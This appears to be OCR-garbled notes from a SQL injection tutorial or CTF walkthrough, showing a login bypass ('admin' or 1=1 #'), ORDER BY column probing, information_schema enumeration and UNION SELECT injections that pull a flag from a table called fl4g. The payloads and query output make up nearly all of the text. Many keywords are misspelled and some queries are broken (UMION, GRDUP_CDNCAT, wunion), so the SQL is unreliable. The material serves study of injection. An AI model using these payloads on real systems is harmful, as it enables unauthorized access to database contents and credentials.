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1 select * from user where username="admin' or 1=1 #' and password="pwd"
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’ 1 zhangshan  zhangshan
2 lisi lisi

3 wangwu wangwu
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id username  password
1 zhangshan  zhangshan
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3 wangwu wangwu
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1 select * from user where username='admin’ or 1=1 ORDER BY 3
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1.SCHEMATA

1 SELECT * FROM information_schema.SCHEMATA

BE SR 3R %=
CATALOG NAME  SCHEMA NAME DEFAULT CHARACT DEFAULT COLLATIO SQL PATH DEFAULT ENCRYPTIt

b def mysq| utfs utf8 general ci NO
def information_schema utf8 utf8 general ci NO
def performance_schem utfBmb4 utf8mb4 0900 ai ci NO
def sys utfBmb4 utf8mb4 0900 ai ci NO
def test utfs utf8 general ci NO

2.Tables

1 SELECT * FROM information_schema.tables

=52 &SR 3iF %=

TABLE CATALOG  TABLE SCHEMA TABLE_NAME TABLE TYPE ENGINE VERSION ROW FORMAT TABLE RO
» def mysq| innodb_table stats BASE TABLE InncDB 10 Dynamic

def mysql innodb_index_stats BASE TABLE InnoDB 10 Dynamic

def information schema CHARACTFR SFTS  SYSTFM VIFW 10
3.Columns

1 SELECT * FROM information_schema.columns

2 ER1 anr $E
TABLE CATALOG  TABLE SCHEMA TABLE NAME COLUMN NAME O



def information_schema INNODB_COLUMNS DEFAULT VALUE

def information_schema INNODB VIRTUAL TABLE ID
def information_schema INNODB _VIRTUAL POS

def information_schema INNODB VIRTUAL BASE POS
def information_schema INNODB_CACHED _INSPACE_ID
def information_schema INNODB_CACHED ININDEX ID
def information_schema INNODB_CACHED INN_CACHED PAGES
def information_schema INNODB_SESSION TIID

def information_schema INNODB_SESSION _TISPACE
def information_schema INNODB_SESSION _TIPATH

def information_schema INNODB_SESSION_TISIZE

def information_schema INNODB_SESSION TISTATE

def information_schema INNODB_SESSION_TIPURPOSE
def test user id

def test user username
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1 [SELECT GROUP_CONCAT(SCHEMA NAME) FROM information_schema.SCHEMATA
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GROUP_CONCAT(SCHEMA_NAME)
“mysqlinformation_schema,performance_schema,sys, test
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5.union select
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1 SELECT * FROM user | UNION SELECT GROUP_CONCAT(SCHEMA_MNAME),2,3 FROM information_schema.SCHEMATA
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id username  password
»1 zhangshan  zhangshan

2 lisi lisi

3 wangwu wangwu
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1 SELECT * FROM user UMION SELECT GRDUP_CDNCAT(SCHEM_NAME)| FROM information_schema.SCHEMATA

SIS v

SELECT * FROM user UNION SELECT GROUP_COMCAT(SCHEMA NAME) FROM information_schema.SCHEMATA
> 1222 - The used SELECT statements have a different number of columns
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1=2 union select 1 schema_name), 3,4 from information_schema.schemata
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information_schema,skctf_flag 3 4

1=2 union select 1 table _name),3,4 from information_schema.tables where table_schema=’skct

f flag’
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1’ 1=2 wunion select column_name,2,3,4 from information_schema.columns where table name=°‘fl4g’

833144 Hysketf_flag
1’ 1=2 union select skctf_flag,2,3,4 from fl4g
5 %flag
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